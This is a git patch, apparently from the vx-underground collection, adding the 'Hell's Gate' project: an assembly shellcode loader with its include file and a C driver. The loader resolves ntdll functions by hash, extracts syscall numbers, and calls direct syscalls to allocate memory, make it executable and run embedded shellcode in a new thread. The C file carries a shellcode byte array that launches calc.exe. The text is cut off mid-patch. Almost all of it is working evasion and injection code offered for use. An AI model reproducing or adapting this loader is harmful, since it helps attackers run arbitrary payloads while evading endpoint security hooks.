From a6dbe47b599f426670a621e1a9e4eb67dce87fe2 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sun, 11 Oct 2020 00:53:07 -0500 Subject: [PATCH] Add files via upload --- Hells Gate/Assembly Expansion/HELLSGATE.ASM | 262 +++++++ Hells Gate/Assembly Expansion/HELLSGATE.INC | 285 ++++++++ Hells Gate/Assembly Expansion/main.c | 42 ++ Hells Gate/C Implementation/HellsGate.sln | 31 + .../HellsGate/HellsGate.vcxproj | 161 +++++ .../HellsGate/HellsGate.vcxproj.filters | 32 + .../C Implementation/HellsGate/hellsgate.asm | 23 + Hells Gate/C Implementation/HellsGate/main.c | 211 ++++++ .../C Implementation/HellsGate/structs.h | 337 +++++++++ Hells Gate/C Implementation/README.md | 21 + Hells Gate/C# Implementation/Doxyfile | 385 ++++++++++ Hells Gate/C# Implementation/LICENSE | 674 ++++++++++++++++++ Hells Gate/C# Implementation/README.md | 11 + .../C# Implementation/SharpHellsGate.sln | 25 + .../SharpHellsGate/HellsGate.cs | 278 ++++++++ .../SharpHellsGate/Module/MemoryUtil.cs | 142 ++++ .../SharpHellsGate/Module/SystemModule.cs | 328 +++++++++ .../SharpHellsGate/Program.cs | 51 ++ .../SharpHellsGate/SharpHellsGate.csproj | 18 + .../C# Implementation/SharpHellsGate/Util.cs | 128 ++++ .../SharpHellsGate/Win32/DFunctions.cs | 93 +++ .../SharpHellsGate/Win32/Macros.cs | 78 ++ .../SharpHellsGate/Win32/Structures.cs | 128 ++++ Hells Gate/HellsGate.pdf | Bin 0 -> 381301 bytes 24 files changed, 3744 insertions(+) create mode 100644 Hells Gate/Assembly Expansion/HELLSGATE.ASM create mode 100644 Hells Gate/Assembly Expansion/HELLSGATE.INC create mode 100644 Hells Gate/Assembly Expansion/main.c create mode 100644 Hells Gate/C Implementation/HellsGate.sln create mode 100644 Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj create mode 100644 Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj.filters create mode 100644 Hells Gate/C Implementation/HellsGate/hellsgate.asm create mode 100644 Hells Gate/C Implementation/HellsGate/main.c create mode 100644 Hells Gate/C Implementation/HellsGate/structs.h create mode 100644 Hells Gate/C Implementation/README.md create mode 100644 Hells Gate/C# Implementation/Doxyfile create mode 100644 Hells Gate/C# Implementation/LICENSE create mode 100644 Hells Gate/C# Implementation/README.md create mode 100644 Hells Gate/C# Implementation/SharpHellsGate.sln create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/Module/MemoryUtil.cs create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/Module/SystemModule.cs create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/Program.cs create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/Util.cs create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/Win32/DFunctions.cs create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/Win32/Macros.cs create mode 100644 Hells Gate/C# Implementation/SharpHellsGate/Win32/Structures.cs create mode 100644 Hells Gate/HellsGate.pdf diff --git a/Hells Gate/Assembly Expansion/HELLSGATE.ASM b/Hells Gate/Assembly Expansion/HELLSGATE.ASM new file mode 100644 index 0000000..4bd1134 --- /dev/null +++ b/Hells Gate/Assembly Expansion/HELLSGATE.ASM @@ -0,0 +1,262 @@ +; @file HELLSGATE.ASM +; @data 07-08-2020 +; @author Paul Laîné (@am0nsec) +; @version 1.0 +; @brief Dynamically extracting and invoking syscalls from in-memory modules. +; @details +; @link https://ntamonsec.blogspot.com/ +; @copyright This project has been released under the GNU Public License v3 license. + +include HELLSGATE.INC + +_DATA segment + extern Shellcode: BYTE + extern ShellcodeLength: QWORD + + wSystemCall DWORD 000h + lpAddress QWORD ? + sDataSize QWORD ? + OldProtect QWORD ? + hThreadHandle QWORD ? + + VXTable VX_TABLE <> + Timeout LARGE_INTEGER <> +_DATA ends + +_TEXT segment + SystemCall PROC + mov r10, rcx + syscall + ret + SystemCall ENDP + + HellsGate PROC +_start: + mov r8, gs:[60h] ; Get process environment block (PEB) + cmp [r8].PEB.OSMajorVersion, 0Ah ; + jne _failure ; Jump if not Windows 10 + + ; Get the base address of ntdll + mov r8, [r8].PEB.Ldr ; + mov r8, [r8].PEB_LDR_DATA.InMemoryOrderModuleList.Flink - 10h ; First loaded module: e.g. hellsgate.exe + mov r8, [r8].LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink - 10h ; Second loaded module: e.g. ntdll.dll + mov r8, [r8].LDR_DATA_TABLE_ENTRY.DllBase ; Image base of the module + mov r9, r8 ; Store for later use + + ; Get module export directory + cmp [r8].IMAGE_DOS_HEADER.e_magic, 5A4Dh ; DOS Header --> MZ + jne _failure ; + + mov ebx, [r8].IMAGE_DOS_HEADER.e_lfanew ; RVA of IMAGE_NT_HEADERS64 + add r8, rbx ; + cmp [r8].IMAGE_NT_HEADERS64.Signature, 00004550h ; NT Header --> PE00 + jne _failure ; + + mov ebx, IMAGE_NT_HEADERS64.OptionalHeader ; RVA of IMAGE_OPTIONAL_HEADER64 + add r8, rbx ; + cmp [r8].IMAGE_OPTIONAL_HEADER64.Magic, 20bh ; Optional header --> 0x20b + jne _failure ; + + lea r8, [r8].IMAGE_OPTIONAL_HEADER64.DataDirectory ; First entry of the DataDirectory array + mov ebx, [r8].IMAGE_DATA_DIRECTORY.VirtualAddress ; RVA of IMAGE_EXPORT_DIRECTORY + mov r8, r9 ; ImageBase + add r8, rbx ; Module + RVA + + ; Push function hashes + mov VXTable.NtAllocateVirtualMemory.dwHash, 002B73D648h ; DJB2 hash of NtAllocateVirtualMemory + mov VXTable.NtProtectVirtualMemory.dwHash, 00FE950644h ; DJB2 hash of NtProtectVirtualMemory + mov VXTable.NtCreateThreadEx.dwHash, 00B151D7ACh ; DJB2 hash of NtCreateThreadEx + mov VXTable.NtWaitForSingleObject.dwHash, 0091F4EA38h ; DJB2 hash of NtWaitForSingleObject + + xor r15, r15 ; Clean R15 register + mov r15b, 4h ; Move to R15 number of functions to find + + mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; Address of the function name + mov r12, r9 ; Function name RVA + add r12, rbx ; ImageBase + RVA + + mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions ; Address of function pointers + mov r13, r9 ; + add r13, rbx ; + + mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals ; Address of function ordinals + mov r14, r9 ; + add r14, rbx ; + + mov ecx, [r8].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Total number of named functions + dec ecx + +;----------------------------------------------------------------------------- +; Find function ordinal index w/ function name hash +;----------------------------------------------------------------------------- +_parse_functions_name: + mov rbx, 4h ; sizeof(DWORD) + imul rbx, rcx ; siezof(DWORD) * RCX + mov esi, [r12 + rbx] ; Function RVA + add rsi, r9 ; Function RVA + ImageBase + + mov r10d, 5381h ; hash = 0x5381 +_djb2: + mov r11d, r10d ; Store original hash value for later + shl r10d, 5 ; hash << 5 + add r10d, r11d ; (hash << 5) + hash + + xor r11d, r11d ; Clean temporary hash value + mov r11b, byte ptr [rsi] ; Get ASCII char + add r10d, r11d ; ((hash << 5) + hash) + char + + inc rsi ; Next string char + cmp byte ptr [rsi], 00h ; End of string + jne _djb2 ; + + lea rax, VXTable ; Address of VX table + mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY) + imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15 + sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY) + add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX + xor r10d, [rax].VX_TABLE_ENTRY.dwHash ; Check if function has been found + jz _get_function_address ; + loop _parse_functions_name ; + +;----------------------------------------------------------------------------- +; Find the function address w/ function ordinal +;----------------------------------------------------------------------------- +_get_function_address: + mov rax, 2h ; sizeof(WORD) + imul rax, rcx ; sizeof(WORD) * RCX + mov ax, [r14 + rax] ; AX = function ordinal + + imul rax, 4 ; sizeof(DWORD) * ordinal + mov eax, [r13 + rax] ; RVA of function + mov rbx, r9 ; RBX = ImageBase + add rbx, rax ; RBX = address of function + + lea rax, VXTable ; Address of VX table + mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY) + imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15 + sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY) + add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX + mov [rax].VX_TABLE_ENTRY.pAddress, rbx ; + +;----------------------------------------------------------------------------- +; Find the function system call w/ function address +;----------------------------------------------------------------------------- +_get_function_syscall: + inc rbx + cmp byte ptr [rbx], 00C3h ; Check if RET + je _failure ; + + cmp word ptr [rbx], 050Fh ; Check if syscall + jne _get_function_syscall ; + + sub rbx, 0Eh ; Address of system call + mov cx, word ptr [rbx] ; CX = system call + + lea rax, VXTable ; Address of VX table + mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY) + imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15 + sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY) + add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX + mov [rax].VX_TABLE_ENTRY.wSystemCall, cx ; + +_reset_loop: + ; Move to the next function + mov ecx, [r8].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Reset counter + dec ecx ; + dec r15 ; Check if all function have been found + jnz _parse_functions_name ; + +;----------------------------------------------------------------------------- +; Execute the payload +;----------------------------------------------------------------------------- +_payload: + ; Initialise variables + mov r10, ShellcodeLength ; + mov sDataSize, r10 ; Store shellcode length + mov lpAddress, 0h ; + + ; Execute NtAllocateVirtualMemory + mov ax, VXTable.NtAllocateVirtualMemory.wSystemCall ; + mov rcx, 0FFFFFFFFFFFFFFFFh ; ProcessHandle + lea rdx, lpAddress ; BaseAddress + xor r8, r8 ; ZeroBits + lea r9, sDataSize ; RegionSize + mov qword ptr [rsp + 20h], 3000h ; AllocationType + mov qword ptr [rsp + 28h], 4 ; Protect + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + + ; Copy shellcode + cld ; Clear direction flag == forward copy + lea rsi, Shellcode ; Origin + mov rdi, lpAddress ; Destination + mov rcx, ShellcodeLength ; Size of shellcode + rep movsb ; Copy byte until RCX = 0 + + ; Execute NtProtectVirtualMemory + mov ax, VXTable.NtProtectVirtualMemory.wSystemCall ; + mov rcx, 0FFFFFFFFFFFFFFFFh ; ProcessHandle + lea rdx, lpAddress ; BaseAddress + lea r8, sDataSize ; NumberOfBytesToProtect + mov r9d, 20h ; NewAccessProtection + + mov OldProtect, 00h ; + lea r11, OldProtect ; + mov qword ptr [rsp + 20h], r11 ; OldAccessProtection + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + + ; Execute NtCreateThreadEx + mov ax, VXTable.NtCreateThreadEx.wSystemCall + mov hThreadHandle, 0 ; + lea rcx, hThreadHandle ; hThread + mov rdx, 1FFFFFh ; DesiredAccess + xor r8, r8 ; ObjectAttributes + mov r9, 0FFFFFFFFFFFFFFFFh ; ProcessHandle + mov r10, lpAddress ; + mov qword ptr [rsp + 20h], r10 ; lpStartAddress + mov qword ptr [rsp + 28h], 00h ; lpParameter + mov qword ptr [rsp + 30h], 00h ; Flags + mov qword ptr [rsp + 38h], 00h ; StackZeroBits + mov qword ptr [rsp + 40h], 00h ; SizeOfStackCommit + mov qword ptr [rsp + 48h], 00h ; SizeOfStackReserve + mov qword ptr [rsp + 50h], 00h ; lpBytesBuffer + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + + ; Execute NtWaitForSingleObject + mov ax, VXTable.NtWaitForSingleObject.wSystemCall ; + mov rcx, hThreadHandle ; ObjectHandle + xor rdx, rdx ; Alertable + + mov Timeout, 0FFFFFFFFFF676980h ; TimeOut + lea r8, Timeout ; + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + +;----------------------------------------------------------------------------- +; Successfully execution of the function +;----------------------------------------------------------------------------- +_success: + mov rax, 1 + ret + +;----------------------------------------------------------------------------- +; In case something goes wrong +;----------------------------------------------------------------------------- +_failure: + xor rax, rax + ret + HellsGate ENDP +_TEXT ends + +; end of file +end diff --git a/Hells Gate/Assembly Expansion/HELLSGATE.INC b/Hells Gate/Assembly Expansion/HELLSGATE.INC new file mode 100644 index 0000000..bc1afc9 --- /dev/null +++ b/Hells Gate/Assembly Expansion/HELLSGATE.INC @@ -0,0 +1,285 @@ +; @file HELLSGATE.INC +; @data 07-08-2020 +; @author Paul Laîné (@am0nsec) +; @version 1.0 +; @brief Dynamically extracting and invoking syscalls from in-memory modules. +; @details +; @link https://ntamonsec.blogspot.com/ +; @copyright This project has been released under the GNU Public License v3 license. + +VXTableEntrySize EQU SIZEOF VX_TABLE_ENTRY +VXTableSize EQU SIZEOF VX_TABLE + +VX_TABLE_ENTRY struct + pAddress QWORD ? ; 0x0000 + dwHash DWORD ? ; 0x0008 + wSystemCall WORD ? ; 0x000C + BYTE 2 dup(?) ; padding +VX_TABLE_ENTRY ends + +VX_TABLE struct + NtAllocateVirtualMemory VX_TABLE_ENTRY <> ; 0x0000 + NtProtectVirtualMemory VX_TABLE_ENTRY <> ; 0x0010 + NtCreateThreadEx VX_TABLE_ENTRY <> ; 0x0020 + NtWaitForSingleObject VX_TABLE_ENTRY <> ; 0x0030 +VX_TABLE ends + +LARGE_INTEGER struct + LowPart DWORD ? ; 0x0000 + HighPart DWORD ? ; 0x0004 +LARGE_INTEGER ends + +ULARGE_INTEGER struct + LowPart DWORD ? ; 0x0000 + HighPart DWORD ? ; 0x0004 +ULARGE_INTEGER ends + +UNICODE_STRING struct + _Length WORD ? ; 0x0000 + MaximumLength WORD ? ; 0x0002 + BYTE 4 dup(?) ; padding + Buffer QWORD ? ; 0x0008 +UNICODE_STRING ends + +LIST_ENTRY struct + Flink QWORD ? ; 0x0000 + BLink QWORD ? ; 0x0008 +LIST_ENTRY ends + +PEB struct + InheritedAddressSpace BYTE ? ; 0x0000 + ReadImageFileExecOptions BYTE ? ; 0x0001 + BeingDebugged BYTE ? ; 0x0002 + BitField BYTE ? ; 0x0003 + Padding0 BYTE 4 dup(?) ; 0x0004 + Mutant QWORD ? ; 0x0008 + ImageBaseAddress QWORD ? ; 0x0010 + Ldr QWORD ? ; 0x0018 + ProcessParameters QWORD ? ; 0x0020 + SubSystemData QWORD ? ; 0x0028 + ProcessHeap QWORD ? ; 0x0030 + FastPebLock QWORD ? ; 0x0038 + AtlThunkSListPtr QWORD ? ; 0x0040 + IFEOKey QWORD ? ; 0x0048 + CrossProcessFlags DWORD ? ; 0x0050 + Padding1 BYTE 4 dup(?) ; 0x0054 + UserSharedInfoPtr QWORD ? ; 0x0058 + SystemReserved DWORD ? ; 0x0060 + AtlThunkSListPtr32 DWORD ? ; 0x0064 + ApiSetMap QWORD ? ; 0x0068 + TlsExpansionCounter DWORD ? ; 0x0070 + Padding2 BYTE 4 dup(?) ; 0x0074 + TlsBitmap QWORD ? ; 0x0078 + TlsBitmapBits DWORD 2 dup(?) ; 0x0080 + ReadOnlySharedMemoryBase QWORD ? ; 0x0088 + SharedData QWORD ? ; 0x0090 + ReadOnlyStaticServerData QWORD ? ; 0x0098 + AnsiCodePageData QWORD ? ; 0x00A0 + OemCodePageData QWORD ? ; 0x00A8 + UnicodeCaseTableData QWORD ? ; 0x00B0 + NumberOfProcessors DWORD ? ; 0x00B9 + NtGlobalFlag DWORD ? ; 0x00BC + CriticalSectionTimeout LARGE_INTEGER <> ; 0x00C0 + HeapSegmentReserve QWORD ? ; 0x00C8 + HeapSegmentCommit QWORD ? ; 0x00D0 + HeapDeCommitTotalFreeThreshold QWORD ? ; 0x00D8 + HeapDeCommitFreeBlockThreshold QWORD ? ; 0x00E0 + NumberOfHeaps DWORD ? ; 0x00E8 + MaximumNumberOfHeaps DWORD ? ; 0x00EC + ProcessHeaps QWORD ? ; 0x00F0 + GdiSharedHandleTable QWORD ? ; 0x00F8 + ProcessStarterHelper QWORD ? ; 0x0100 + GdiDCAttributeList DWORD ? ; 0x0108 + Padding3 BYTE 4 dup(?) ; 0x010C + LoaderLock QWORD ? ; 0x0110 + OSMajorVersion DWORD ? ; 0x0118 + OSMinorVersion DWORD ? ; 0x011C + OSBuildNumber WORD ? ; 0x0120 + OSCSDVersion WORD ? ; 0x0122 + OSPlatformId DWORD ? ; 0x0124 + ImageSubsystem DWORD ? ; 0x0128 + ImageSubsystemMajorVersion DWORD ? ; 0x012C + ImageSubsystemMinorVersion DWORD ? ; 0x0130 + Padding4 BYTE 4 dup(?) ; 0x0134 + ActiveProcessAffinityMask QWORD ? ; 0x0138 + GdiHandleBuffer DWORD 60 dup(?) ; 0x0140 + PostProcessInitRoutine QWORD ? ; 0x0230 + TlsExpansionBitmap QWORD ? ; 0x0238 + TlsExpansionBitmapBits DWORD 32 dup(?) ; 0x0240 + SessionId DWORD ? ; 0x02C0 + Padding5 BYTE 4 dup(?) ; 0x02C4 + AppCompatFlags ULARGE_INTEGER <> ; 0x02C8 + AppCompatFlagsUser ULARGE_INTEGER <> ; 0x02D0 + pShimData QWORD ? ; 0x02D8 + AppCompatInfo QWORD ? ; 0x02E0 + CSDVersion UNICODE_STRING <> ; 0x02E8 + ActivationContextData QWORD ? ; 0x02F8 + ProcessAssemblyStorageMap QWORD ? ; 0x0300 + SystemDefaultActivationContextData QWORD ? ; 0x0308 + SystemAssemblyStorageMap QWORD ? ; 0x0310 + MinimumStackCommit QWORD ? ; 0x0318 + SparePointers QWORD 4 dup(?) ; 0x0320 + SpareUlongs DWORD 5 dup(?) ; 0x0340 + BYTE 4 dup(?) + WerRegistrationData QWORD ? ; 0x0358 + WerShipAssertPtr QWORD ? ; 0x0360 + pUnused QWORD ? ; 0x0368 + pImageHeaderHash QWORD ? ; 0x0370 + TracingFlags DWORD ? ; 0x0378 + Padding6 BYTE 4 dup(?) ; 0x037c + CsrServerReadOnlySharedMemoryBase QWORD ? ; 0x0380 + TppWorkerpListLock QWORD ? ; 0x0388 + TppWorkerpList LIST_ENTRY <> ; 0x0390 + WaitOnAddressHashTable QWORD 128 dup(?) ; 0x03A0 + TelemetryCoverageHeader QWORD ? ; 0x07A0 + CloudFileFlags DWORD ? ; 0x07A8 + CloudFileDiagFlags DWORD ? ; 0x07AC + PlaceholderCompatibilityMode BYTE ? ; 0x07B0 + PlaceholderCompatibilityModeReserved BYTE 7 dup(?) ; 0x07B1 + LeapSecondData QWORD ? ; 0x07B8 + LeapSecondFlags DWORD ? ; 0x07c0 + NtGlobalFlag2 DWORD ? ; 0x07c4 +PEB ends + +PEB_LDR_DATA struct + _Length DWORD ? ; 0x0000 + Initialized BYTE ? ; 0x0004 + BYTE 3 dup(?) ; padding + SsHandle QWORD ? ; 0x0008 + InLoadOrderModuleList LIST_ENTRY <> ; 0x0010 + InMemoryOrderModuleList LIST_ENTRY <> ; 0x0020 + InInitializationOrderModuleList LIST_ENTRY <> ; 0x0030 + EntryInProgress QWORD ? ; 0x0040 + ShutdownInProgress BYTE ? ; 0x0048 + BYTE 7 dup(?) ; padding + ShutdownThreadId QWORD ? ; 0x0050 +PEB_LDR_DATA ends + +RTL_BALANCED_NODE struct + _Dummy BYTE 24 dup(?) +RTL_BALANCED_NODE ends + +LDR_DATA_TABLE_ENTRY struct + InLoadOrderLinks LIST_ENTRY <> ; 0x0000 + InMemoryOrderLinks LIST_ENTRY <> ; 0x0010 + InInitializationOrderLinks LIST_ENTRY <> ; 0x0020 + DllBase QWORD ? ; 0x0030 + EntryPoint QWORD ? ; 0x0038 + SizeOfImage DWORD ? ; 0x0040 + BYTE 4 dup(?) ; padding + FullDllName UNICODE_STRING <> ; 0x0048 + BaseDllName UNICODE_STRING <> ; 0x0058 + FlagGroup BYTE 4 dup(?) ; 0x0068 + ObsoleteLoadCount WORD ? ; 0x006C + TlsIndex WORD ? ; 0x006E + HashLinks LIST_ENTRY <> ; 0x0070 + TimeDateStamp DWORD ? ; 0x0080 + BYTE 4 dup(?) ; padding + EntryPointActivationContext QWORD ? ; 0x0088 + _Lock QWORD ? ; 0x0090 + DdagNode QWORD ? ; 0x0098 + NodeModuleLink LIST_ENTRY <> ; 0x00A0 + LoadContext QWORD ? ; 0x00B0 + ParentDllBase QWORD ? ; 0x00B8 + SwitchBackContext QWORD ? ; 0x00C0 + BaseAddressIndexNode RTL_BALANCED_NODE <> ; 0x00C8 + MappingInfoIndexNode RTL_BALANCED_NODE <> ; 0x00E0 + OriginalBase QWORD ? ; 0x00F8 + LoadTime LARGE_INTEGER <> ; 0x0100 + BaseNameHashValue DWORD ? ; 0x0108 + LoadReason DWORD ? ; 0x010C + ImplicitPathOptions DWORD ? ; 0x0110 + ReferenceCount DWORD ? ; 0x0114 + DependentLoadFlags DWORD ? ; 0x0118 + SigningLevel BYTE ? ; 0x011C +LDR_DATA_TABLE_ENTRY ends + +IMAGE_DOS_HEADER struct + e_magic WORD ? ; 0x0000 + e_cblp WORD ? ; 0x0002 + e_cp WORD ? ; 0x0004 + e_crlc WORD ? ; 0x0006 + e_cparhdr WORD ? ; 0x0008 + e_minalloc WORD ? ; 0x000A + e_maxalloc WORD ? ; 0x000C + e_ss WORD ? ; 0x000E + e_sp WORD ? ; 0x0010 + e_csum WORD ? ; 0x0012 + e_ip WORD ? ; 0x0014 + e_cs WORD ? ; 0x0016 + e_lfarlc WORD ? ; 0x0018 + e_ovno WORD ? ; 0x001A + e_res WORD 4 dup(?) ; 0x001C + e_oemid WORD ? ; 0x0024 + e_oeminfo WORD ? ; 0x0026 + e_res2 WORD 10 dup(?) ; 0x0028 + e_lfanew DWORD ? ; 0x003C +IMAGE_DOS_HEADER ends + +IMAGE_FILE_HEADER struct + Machine WORD ? ; 0x0000 + NumberOfSections WORD ? ; 0x0002 + TimeDateStamp DWORD ? ; 0x0004 + PointerToSymbolTable DWORD ? ; 0x0008 + NumberOfSymbols DWORD ? ; 0x000c + SizeOfOptionalHeader WORD ? ; 0x0010 + Characteristics WORD ? ; 0x0012 +IMAGE_FILE_HEADER ends + +IMAGE_DATA_DIRECTORY struct + VirtualAddress DWORD ? ; 0x0000 + _Size DWORD ? ; 0x0004 +IMAGE_DATA_DIRECTORY ends + +IMAGE_OPTIONAL_HEADER64 struct + Magic WORD ? ; 0x0000 + MajorLinkerVersion BYTE ? ; 0x0002 + MinorLinkerVersion BYTE ? ; 0x0003 + SizeOfCode DWORD ? ; 0x0004 + SizeOfInitializedData DWORD ? ; 0x0008 + SizeOfUninitializedData DWORD ? ; 0x000C + AddressOfEntryPoint DWORD ? ; 0x0010 + BaseOfCode DWORD ? ; 0x0014 + ImageBase QWORD ? ; 0x0018 + SectionAlignment DWORD ? ; 0x0020 + FileAlignment DWORD ? ; 0x0024 + MajorOperatingSystemVersion WORD ? ; 0x0028 + MinorOperatingSystemVersion WORD ? ; 0x002a + MajorImageVersion WORD ? ; 0x002C + MinorImageVersion WORD ? ; 0x002E + MajorSubsystemVersion WORD ? ; 0x0030 + MinorSubsystemVersion WORD ? ; 0x0032 + Win32VersionValue DWORD ? ; 0x0034 + SizeOfImage DWORD ? ; 0x0038 + SizeOfHeaders DWORD ? ; 0x003c + CheckSum DWORD ? ; 0x0040 + Subsystem WORD ? ; 0x0044 + DllCharacteristics WORD ? ; 0x0046 + SizeOfStackReserve QWORD ? ; 0x0048 + SizeOfStackCommit QWORD ? ; 0x0050 + SizeOfHeapReserve QWORD ? ; 0x0058 + SizeOfHeapCommit QWORD ? ; 0x0060 + LoaderFlags DWORD ? ; 0x0068 + NumberOfRvaAndSizes DWORD ? ; 0x006C + DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>) ; 0x0070 +IMAGE_OPTIONAL_HEADER64 ends + +IMAGE_NT_HEADERS64 struct + Signature DWORD ? ; 0x0000 + FileHeader IMAGE_FILE_HEADER <> ; 0x0004 + OptionalHeader IMAGE_OPTIONAL_HEADER64 <> ; 0x0018 +IMAGE_NT_HEADERS64 ends + +IMAGE_EXPORT_DIRECTORY struct + Characteristics DWORD ? ; 0x0000 + TimeDateStamp DWORD ? ; 0x0004 + MajorVersion WORD ? ; 0x0008 + MinorVersion WORD ? ; 0x000A + _Name DWORD ? ; 0x000C + Base DWORD ? ; 0x0010 + NumberOfFunctions DWORD ? ; 0x0014 + NumberOfNames DWORD ? ; 0x0018 + AddressOfFunctions DWORD ? ; 0x001C + AddressOfNames DWORD ? ; 0x0020 + AddressOfNameOrdinals DWORD ? ; 0x0024 +IMAGE_EXPORT_DIRECTORY ends diff --git a/Hells Gate/Assembly Expansion/main.c b/Hells Gate/Assembly Expansion/main.c new file mode 100644 index 0000000..9b3cb73 --- /dev/null +++ b/Hells Gate/Assembly Expansion/main.c @@ -0,0 +1,42 @@ +/** +* @file main.c +* @data 07-08-2020 +* @author Paul Laîné(@am0nsec) +* @version 1.0 +* @brief Dynamically extractingand invoking syscalls from in - memory modules. +* @details +* @link https ://ntamonsec.blogspot.com/ +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#include + +unsigned char Shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +DWORD ShellcodeLength = sizeof(Shellcode); + +extern BOOL HellsGate(void); + +INT wmain() { + + BOOL a = HellsGate(); + +} diff --git a/Hells Gate/C Implementation/HellsGate.sln b/Hells Gate/C Implementation/HellsGate.sln new file mode 100644 index 0000000..688bc5d --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30114.105 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB} + EndGlobalSection +EndGlobal diff --git a/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj b/Hells Gate/C 